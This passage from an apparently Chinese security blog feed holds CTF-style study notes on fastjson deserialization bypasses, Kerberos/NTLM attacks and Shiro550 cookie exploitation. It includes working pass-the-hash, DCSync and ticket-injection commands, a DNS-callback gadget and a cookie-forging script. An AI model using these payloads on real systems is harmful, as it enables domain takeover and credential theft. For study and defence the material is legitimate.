                final boolean parentIsArray = fieldName != null &amp;amp;&amp;amp; fieldName.getClass() == Integer.class;

                JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                ParseContext ctxLocal = null;

                if (!parentIsArray) {
                    ctxLocal = setContext(context, input, key);
                }

                Object obj = null;
                boolean objParsed = false;
                if (fieldTypeResolver != null) {
                    String resolveFieldName = key != null ? key.toString() : null;
                    Type fieldType = fieldTypeResolver.resolve(object, resolveFieldName);
                    if (fieldType != null) {
                        ObjectDeserializer fieldDeser = config.getDeserializer(fieldType);
                        obj = fieldDeser.deserialze(this, fieldType, key);
                        objParsed = true;
                    }
                }
                if (!objParsed) {
                    obj = this.parseObject(input, key);
                }

                if (ctxLocal != null &amp;amp;&amp;amp; input != obj) {
                    ctxLocal.object = object;
                }

                checkMapResolve(object, key.toString());

                if (object.getClass() == JSONObject.class) {
                    object.put(key.toString(), obj);
                } else {
                    object.put(key, obj);
                }

                if (parentIsArray) {
                    //setContext(context, obj, key);
                    setContext(obj, key);
                }

                if (lexer.token() == JSONToken.RBRACE) {
                    lexer.nextToken();

                    setContext(context);
                    return object;
                } else if (lexer.token() == JSONToken.COMMA) {
                    if (parentIsArray) {
                        this.popContext();
                    } else {
                        this.setContext(context);
                    }
                    continue;
                } else {
                    throw new JSONException(&quot;syntax error, &quot; + lexer.tokenName());
                }
            } else {
                lexer.nextToken();
                value = parse();

                if (object.getClass() == JSONObject.class) {
                    key = key.toString();
                }
                object.put(key, value);

                if (lexer.token() == JSONToken.RBRACE) {
                    lexer.nextToken();
                    return object;
                } else if (lexer.token() == JSONToken.COMMA) {
                    continue;
                } else {
                    throw new JSONException(&quot;syntax error, position at &quot; + lexer.pos() + &quot;, name &quot; + key);
                }
            }

            lexer.skipWhitespace();
            ch = lexer.getCurrent();
            if (ch == &apos;,&apos;) {
                lexer.next();
                continue;
            } else if (ch == &apos;}&apos;) {
                lexer.next();
                lexer.resetStringPosition();
                lexer.nextToken();

                // this.setContext(object, fieldName);
                this.setContext(value, key);

                return object;
            } else {
                throw new JSONException(&quot;syntax error, position at &quot; + lexer.pos() + &quot;, name &quot; + key);
            }

        }
    } finally {
        this.setContext(context);
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键部分是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (key == JSON.DEFAULT_TYPE_KEY &amp;amp;&amp;amp; !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, &apos;&quot;&apos;);
    Class&amp;lt;?&amp;gt; clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

    if (clazz == null) {
        object.put(JSON.DEFAULT_TYPE_KEY, typeName);
        continue;
    }

    lexer.nextToken(JSONToken.COMMA);
    if (lexer.token() == JSONToken.RBRACE) {
        lexer.nextToken(JSONToken.COMMA);
        try {
            Object instance = null;
            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            if (deserializer instanceof JavaBeanDeserializer) {
                instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
            }

            if (instance == null) {
                if (clazz == Cloneable.class) {
                    instance = new HashMap();
                } else if (&quot;java.util.Collections$EmptyMap&quot;.equals(typeName)) {
                    instance = Collections.emptyMap();
                } else {
                    instance = clazz.newInstance();
                }
            }

            return instance;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用 scanSymbol() 获取键值 typeName ，然后 loadClass 当前 @type 指定的类。&lt;/p&gt;
&lt;p&gt;最后在 368 行进入 deserialize() 方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769088881900.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个调用栈看不到细节，暂时先去看下一个了，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769088919974.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进 deserialize()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769088998829.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的 Object 是 JdbcRowSetimpl,往下就是 setValue 赋值&lt;/p&gt;
&lt;p&gt;因为 key 是 AutoCommit value 是 true ，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769089625413.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进到这就是调用了  setAutoCommit(true),下面就是 jdbcRowSetImpl 的了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1769089749341.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;3. fastjson 1.2.25 - 1.2.41 绕过&lt;/h4&gt;
&lt;p&gt;提前配置 AutoTypeSupport 为 true&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ParserConfig.getGlobalInstance().setAutoTypeSupport(true);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果要使用黑名单的类，在黑名单类前面 + L 结尾 ＋ ; 绕过。&lt;img src=&quot;QQ_1768924124128.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;原因在 loadClass 中&lt;img src=&quot;QQ_1768924273099.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4.fastjson 1.2.42 版本绕过&lt;/h4&gt;
&lt;p&gt;对黑名单的类进行 hash 比对，不再明文存储&lt;/p&gt;
&lt;p&gt;双写 L ; 绕过，没有循环检查&lt;/p&gt;
&lt;h4&gt;5.fastjson 1.2.43 版本绕过&lt;/h4&gt;
&lt;p&gt;黑名单类前加 [&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static Class&amp;lt;?&amp;gt; loadClass(String className, ClassLoader classLoader, boolean cache) {
    if (className != null &amp;amp;&amp;amp; className.length() != 0) {
        Class&amp;lt;?&amp;gt; clazz = (Class)mappings.get(className);
        if (clazz != null) {
            return clazz;
            // 这里直接 loadClass
        } else if (className.charAt(0) == &apos;[&apos;) {
            Class&amp;lt;?&amp;gt; componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith(&quot;L&quot;) &amp;amp;&amp;amp; className.endsWith(&quot;;&quot;)) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    if (cache) {
                        mappings.put(className, clazz);
                    }

                    return clazz;
                }
            } catch (Throwable var7) {
                var7.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null &amp;amp;&amp;amp; contextClassLoader != classLoader) {
                    clazz = contextClassLoader.loadClass(className);
                    if (cache) {
                        mappings.put(className, clazz);
                    }

                    return clazz;
                }
            } catch (Throwable var6) {
            }

            try {
                clazz = Class.forName(className);
                mappings.put(className, clazz);
                return clazz;
            } catch (Throwable var5) {
                return clazz;
            }
        }
    } else {
        return null;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;参考资料&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80/&quot;&gt;Java反序列化Fastjson篇01-FastJson基础 | Drunkbaby&apos;s Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/&quot;&gt;Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby&apos;s Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/LeadroyaL/fastjson-blacklist&quot;&gt;LeadroyaL/fastjson-blacklist&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>kerberos-NTLM</title><link>https://fuwari.vercel.app/posts/post5-windows/kerberos/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post5-windows/kerberos/</guid><description>CTF</description><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;1. kerberos 协议&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Kerberos&lt;/code&gt; : 域环境下的默认认证协议，相对于 NTLM 更安全一些，引入了可信第三方 &lt;code&gt;Key Distribution Center&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;1. 简要认证流程&lt;/h4&gt;
&lt;p&gt;四个核心组件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AS&lt;/code&gt; 身份认证服务&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TGS&lt;/code&gt; 票据授予服务&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TGT&lt;/code&gt; 票据授予票据&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Service Ticket&lt;/code&gt; 服务票据&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;AS-REQ / AS-REP (获取 TGT)&lt;/p&gt;
&lt;p&gt;用户携带自己的 &lt;code&gt;Hash&lt;/code&gt; 向 KDC 的 AS 发送请求，证明自己是某个用户,经 AS 验证 Hash 后，发送 &lt;code&gt;TGT&lt;/code&gt; (由 KDC 的 krbtgt 密码哈希加密) 和 &lt;code&gt;Session Key&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TGS-REQ / TGS-REP (获取 Servcie Ticket)&lt;/p&gt;
&lt;p&gt;用户想要访问服务器 B 例如一个 SQL Server ,携带自己的 &lt;code&gt;TGT&lt;/code&gt; 向 KDC 的 TGS 发送请求 （KDC 检查 它是否能被 &lt;code&gt;krbtgt&lt;/code&gt; 的 Hash 解密），TGS 解密 TGT 确认合法，生成 &lt;code&gt;Service Ticket&lt;/code&gt; (由服务器 B 的密码哈希加密)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;AP-REQ / AP-REP (访问服务)&lt;/p&gt;
&lt;p&gt;用户携带 &lt;code&gt;Service Ticket&lt;/code&gt; 去请求服务器 B，服务器 B 使用自己的 Hash 解密 ST 确认正确后提供服务。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2. 黄金票据 （AS-REP 阶段产生的问题）&lt;/h4&gt;
&lt;p&gt;原理是伪造 TGT 。拿到域控的 krbtgt 用户的 NTLM Hash ，就可以自己签发 TGT。因为 KDC 验证 TGT 时只看它是否能被 &lt;code&gt;krbtgt&lt;/code&gt; 的 Hash 解密。&lt;/p&gt;
&lt;h4&gt;3. 白银票据 （TGS-REP 阶段产生的问题）&lt;/h4&gt;
&lt;p&gt;原理是伪造 Service Ticket 。Service Ticket 是由提供服务的账号的 Hash 加密的，拿到某台服务器的服务账号的 Hash ，就可以伪造一张访问该服务的 Service Ticket，跳过前面的那些认证流程。拿到 Service Ticket 之后，也可以进行破解，拿该服务的明文密码。&lt;/p&gt;
&lt;h4&gt;4. AS-REQ 阶段产生的一些安全问题&lt;/h4&gt;
&lt;p&gt;当域内的某个用户想要访问某个服务时，输入用户名和密码，本机向 KDC 的 AS 发送 AS-REQ 请求，包括不限于以下字段&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;padata ： 包含多种类型的数据，其中的 PA-ENC-TIMESTAMP(包含被用户密码 Hash 加密后的当前时间戳)，如果拿到了 NTLM Hash ,可能造成 PTH 。&lt;/li&gt;
&lt;li&gt;cname : 请求的用户名，通过修改这个字段，遍历字典，通过 KDC 返回值来判断这个用户是否存在。用户名存在的时候，密码的正确与否也会导致返回包不一样，所以这个地方可以&lt;code&gt;枚举用户名&lt;/code&gt;以及&lt;code&gt;密码喷洒&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. AS-REP 阶段产生的一些安全问题&lt;/h4&gt;
&lt;p&gt;如果某个域中的用户设置了不需要预认证，攻击者可以向域控的 88 端口发送AS_REQ，此时域控不会做任何验证就将 TGT 和使用该用户密钥加密的 Logon Session Key 返回。如此，攻击者可以对获取到的加密的 Longon Session Key 进行破解，破解成功就能获得用户的密码明文，完成了AS-REP Roasting攻击。&lt;/p&gt;
&lt;h3&gt;2 . NLTM 协议&lt;/h3&gt;
&lt;h4&gt;1. 简要认证流程&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;client 向 server 发送请求，携带主机名域名等明文信息，不包含密码。&lt;/li&gt;
&lt;li&gt;server 接收到请求之后，生成一个 16 字节随机数，发送给 client。&lt;/li&gt;
&lt;li&gt;client 接收到随机数之后，使用自身内存中的 NT Hash 对这个随机数进行加密计算，生成一份 Net-NTLM Response 发给 server （同时携带用户名域名）&lt;/li&gt;
&lt;li&gt;server 在工作组环境下，会拿出来自己 SAM 文件中存储的该用户的 NT Hash 对刚才的 16 字节谁技术进行同样的加密计算，如果和 client 发来的一样，验证通过。在域环境下，server 没有域用户的 Hash ,因此它会把 client 发来的 Net-NTLM Response 封装一下发给 DC , DC 取出 NTDS.dit 的Hash 进行计算验证，然后告诉 server 是否通过。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2. 产生的安全问题&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;NTLM (32 位的 MD4 值) 计算 Response 的时候不需要明文密码，只需要 NTLM Hash .如果 attack 通过 Mimikatz 等工具拿到管理员的 NTLM Hash ,就不需要去破解明文密码，使用该 Hash 计算 Response 就能通过认证。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# msf 可以利用 Administrator 的 hash 
use exploit/windows/smb/psexec
set RHOSTS 172.22.1.2
set SMBUser administrator
set SMBDomain xiaorang.lab
set SMBPass aad3b435b51404eeaad3b435b51404ee:10cf89a850fb1cdbe6bb432b859164c8
# 设置 payload 为执行单条命令并退出，或者正向 shell 
# set payload windows/x64/meterpreter/bind_tcp
set PAYLOAD generic/custom
set SMBShare Admin$
exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 或者使用 impacket 工具中的 psexec.py 反弹shell，获取域控主机 shell

proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x &quot;type Users\Administrator\flag\flag03.txt&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;NTLM 没有服务器身份验证的机制，导致 Relay attack。 问题来到如何作为中间人截获 NTLM 请求？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;使用 responder ,指定恶意服务器的 unc 路径，使目标主机自动向恶意服务器发送 NTLM 认证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dir \\192.168.111.130\share
net use \\192.168.111.130\share
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;desktop.ini： windows 下指定存储文件夹图标的个性化设置，将图标路径改为恶意服务器的 unc ，当主机请求图标资源时就能截获 NTLM Hash。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;总之就是让目标机器向恶意服务器通过 smb  协议通信，通信前会有 NTLM 认证。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768381517515-17683879035071.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3. 一些配置缺陷&lt;/h3&gt;
&lt;h4&gt;1. 非约束性委派&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;为了解决以下问题，用户 A 访问 Web 服务器 B，B 需要以 A 的身份去访问数据库 C。它允许某台机器，或者服务账号在代表用户访问其他服务时，拥有用户完全模拟权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;正常流程&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;用户 A 向服务器 B (配置了非约束性委派) 发起 Kerberos 认证请求。&lt;/li&gt;
&lt;li&gt;KDC (域控) 检测到服务器 B 具有非约束性委派权限。KDC 会将用户的 TGT 放入服务票据 Service Ticket 中，一并发给服务器 B 。&lt;/li&gt;
&lt;li&gt;服务器 B 会将这个 TGT 解密并存储在自己的 LSASS 内存中，用于随时模拟该用户访问一些服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所有连接过这个服务器 B 的用户，它的 TGT 都会留在服务器 B 的内存中，因此可以让高权限机器向服务器 B 发起连接，从而拿到高权限机器账号的 TGT ，利用导出的 TGT ，打 DCSync，然后导出整个域的 Hash。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先上传一个 Rubeus&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 监听
Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后使用 SpoolSample 强制域控连接被控机器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SpoolSample.exe DC01 CompromisedWeb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者 PetitPotam&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 格式：python3 PetitPotam.py &amp;lt;服务器B的IP&amp;gt; &amp;lt;域控IP&amp;gt;
python3 PetitPotam.py 192.168.1.20 192.168.1.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导出 TGT ，使用 Mimikatz 或者 Rubeus  将高权限账户的 TGT 注入到当前会话，此时具备向域控请求数据同步的身份 .&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Rubeus.exe ptt /ticket:Administrator.kirbi
Rubeus.exe ptt /ticket: xxxxxx
mimikatz.exe &quot;lsadump::dcsync /domain:lab.local /all /csv&quot;
klist # 查看是否注入成功
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 mimikatz&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mimikatz.exe &quot;lsadump::dcsync /domain:xiaorang.lab /all /csv&quot; exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到administrator 的 hash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains python psexec.py xiaorang/Administrator@172.22.4.7 -hashes :4889f6553239ace1f7c47fa2c619c252 -codec gbk
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>java_shiro</title><link>https://fuwari.vercel.app/posts/post6-shiro/shiro/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post6-shiro/shiro/</guid><description>java</description><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;shiro550&lt;/h2&gt;
&lt;h4&gt;1. cookie 加密过程&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768534040647.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找 cookie 的加密过程，全局搜索 Cookie ，找到 Shiro 包中的一个类 CookieRememberMeManager 其中有两个主要方法&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rememberSerializedIdentity()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;​    传入当前web请求的上下文持有者 subject 和 经过序列化和加密后的用户信息 serialized，可以看到 serialized 被 base64 编码后执行 cookie.saveTo() 方法，写到了 response 的 RememberMe 字段中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
    if (!WebUtils.isHttp(subject)) {
        if (log.isDebugEnabled()) {
            String msg = &quot;Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.&quot;;
            log.debug(msg);
        }

    } else {
        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);
        String base64 = Base64.encodeToString(serialized);
        Cookie template = this.getCookie();
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt; getRememberedSerializedIdentity()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;​    先判断是不是 http 请求，再看身份是否被移除，然后获取 request 和 response，从 request 中读取 cookie ，如果是 deleteMe 字段返回 null ，否则 base64 解密，返回解密后的数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
    if (!WebUtils.isHttp(subjectContext)) {
        if (log.isDebugEnabled()) {
            String msg = &quot;SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.&quot;;
            log.debug(msg);
        }

        return null;
    } else {
        WebSubjectContext wsc = (WebSubjectContext)subjectContext;
        if (this.isIdentityRemoved(wsc)) {
            return null;
        } else {
            HttpServletRequest request = WebUtils.getHttpRequest(wsc);
            HttpServletResponse response = WebUtils.getHttpResponse(wsc);
            String base64 = this.getCookie().readValue(request, response);
            if (&quot;deleteMe&quot;.equals(base64)) {
                return null;
            } else if (base64 != null) {
                base64 = this.ensurePadding(base64);
                if (log.isTraceEnabled()) {
                    log.trace(&quot;Acquired Base64 encoded identity [&quot; + base64 + &quot;]&quot;);
                }

                byte[] decoded = Base64.decode(base64);
                if (log.isTraceEnabled()) {
                    log.trace(&quot;Base64 decoded byte array length: &quot; + (decoded != null ? decoded.length : 0) + &quot; bytes.&quot;);
                }

                return decoded;
            } else {
                return null;
            }
        }
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;能看出来，是有方法调用到了这个 getRememberedSerializedIdentity() 方法，下一步去向上寻找。&lt;/p&gt;
&lt;p&gt;.class 文件下层次结构总找不到前面的调用方法，进入CookieRememberMeManager 所 extends 的父类AbstractRememberMeManager 中，ctrl+f 搜索该方法，找到getRememberedPrincipals 方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768536348623.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的 PrincipalCollection 通常是多个 Realm（数据源） 的集合。&lt;/p&gt;
&lt;p&gt;该方法先把 base64 解码后的数据赋值给  bytes ，然后将其做convertBytesToPrincipals() 方法的处理，赋值给 principals。&lt;/p&gt;
&lt;p&gt;于是跟进看一下 convertBytesToPrincipals() 的实现。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768536586681.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;做了两件事情，解密和反序列化。principals 就相当于是用户信息的明文数据了。&lt;/p&gt;
&lt;p&gt;看一下 decrypt 怎么实现的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768537832712.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获取密钥服务，然后再次调用 decrypt ，跟进发现是一个接口。查看 decrypt 的参数，第一个是加密的数据，第二个是 key 。然后跟进 key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768538003898.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768538016347.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后找到 key 是一个硬编码的字符串&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;);

public AbstractRememberMeManager() {
    this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

public void setCipherKey(byte[] cipherKey) {
    this.setEncryptionCipherKey(cipherKey);
    this.setDecryptionCipherKey(cipherKey);
}

public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
    this.encryptionCipherKey = encryptionCipherKey;
}

public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
    this.decryptionCipherKey = decryptionCipherKey;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来跟进 deserialize&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768538528585.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private Serializer&amp;lt;PrincipalCollection&amp;gt; serializer = new DefaultSerializer();

public Serializer&amp;lt;PrincipalCollection&amp;gt; getSerializer() {
    return this.serializer;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取一个专门处理 PrincipalCollection 数据的默认的序列化器，然后反序列化 bytes 。其中 deserial() 方法调用了 readObject()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768538945561.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2. shiro550 漏洞利用&lt;/h4&gt;
&lt;p&gt;​    如果我们 http 请求的 cookie 中带有 RememberMe 字段，会对这个字段的值进行 derserialize 操作，即调用 readObject() 方法。&lt;/p&gt;
&lt;h4&gt;1. URLDNS&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;


public class Main {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
        HashMap&amp;lt;URL,String&amp;gt; map = new HashMap&amp;lt;&amp;gt;();
        URL url = new URL(&quot;http://zv45cu.dnslog.cn&quot;);

        Field field = URL.class.getDeclaredField(&quot;hashCode&quot;);
        field.setAccessible(true);
        field.set(url,1234);

        map.put(url,&quot;test&quot;);


        Field field1 = URL.class.getDeclaredField(&quot;hashCode&quot;);
        field1.setAccessible(true);
        field1.set(url,-1);


        FileOutputStream a = new FileOutputStream(&quot;D:\\tools_D\\java\\java_learn\\shiro550\\src\\main\\webapp\\ser.bin&quot;);
        ObjectOutputStream out = new ObjectOutputStream(a);
        out.writeObject(map);
        out.close();

//        FileInputStream b = new FileInputStream(&quot;D:\\tools_D\\java\\java_learn\\shiro550\\src\\main\\webapp\\ser.bin&quot;);
//        ObjectInputStream i = new ObjectInputStream(b);
//        i.readObject();


    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后将 ser.bin 加密放入 rememberMe 字段。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import uuid
import base64
from Crypto.Cipher import AES

def read_data(filename):
    file = open(filename, &quot;rb&quot;)
    data = file.read()
    file.close()
    return data

def enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    key = &quot;kPH+bIxk5D2deZiIxcaaaA==&quot;
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

if __name__ == &quot;__main__&quot;:
    data = read_data(&quot;ser.bin&quot;)
    print(enc(data))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GqqleiFyRIKDczYSD3ASBDSMe3t5bcbdSZXBQjvB8yMnJdG8BKZeGQbfoUbQ2F1Z6Q8MNrwLLPa0wbphyLvlBPhRiWICjCsG6XUkr9E4oBUy0HnypoRB/6vpLZbk8mp8+iLdTc7sWTRU4Vmx72542wfvQIFg6t7NBCNmfwDxLpVBBhlvcOxEswp1iVR5lOVaH6bzuaPBPoFtl5kzP/L62T0nAjtSOt/uWgjCqoHohjMgmUR05dJlXj8G7OcXupPlic3F8+Daf4IgOHYFHRgdmGoXKF2K6ftQOhrngrZiX9eNQU7vz2vJIxWnkq6ZRicrwVickx8EYsmRqafj/6kNSUOTUBFc4phicojtg18b3B0CJQbZ2gEZ6Lpwu0U/sdM/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768572708120.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./QQ_1768572697074.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;shiro721&lt;/h2&gt;
&lt;p&gt;相对于 shiro550 ，密钥变成随机生成的。利用前提如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1.2.5 &amp;lt;= Apache Shiro &amp;lt;= 1.4.1&lt;/li&gt;
&lt;li&gt;开启 rememberMe&lt;/li&gt;
&lt;li&gt;有一个正常登录获取 Cookie 的账户&lt;/li&gt;
&lt;li&gt;密文可控&lt;/li&gt;
&lt;li&gt;rememberMe 使用 cbc mode 解密&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因为 aes-cbc 模式有一些缺陷，当我们拿到一个正常登录获取的 rememberMe 字段时&lt;/p&gt;
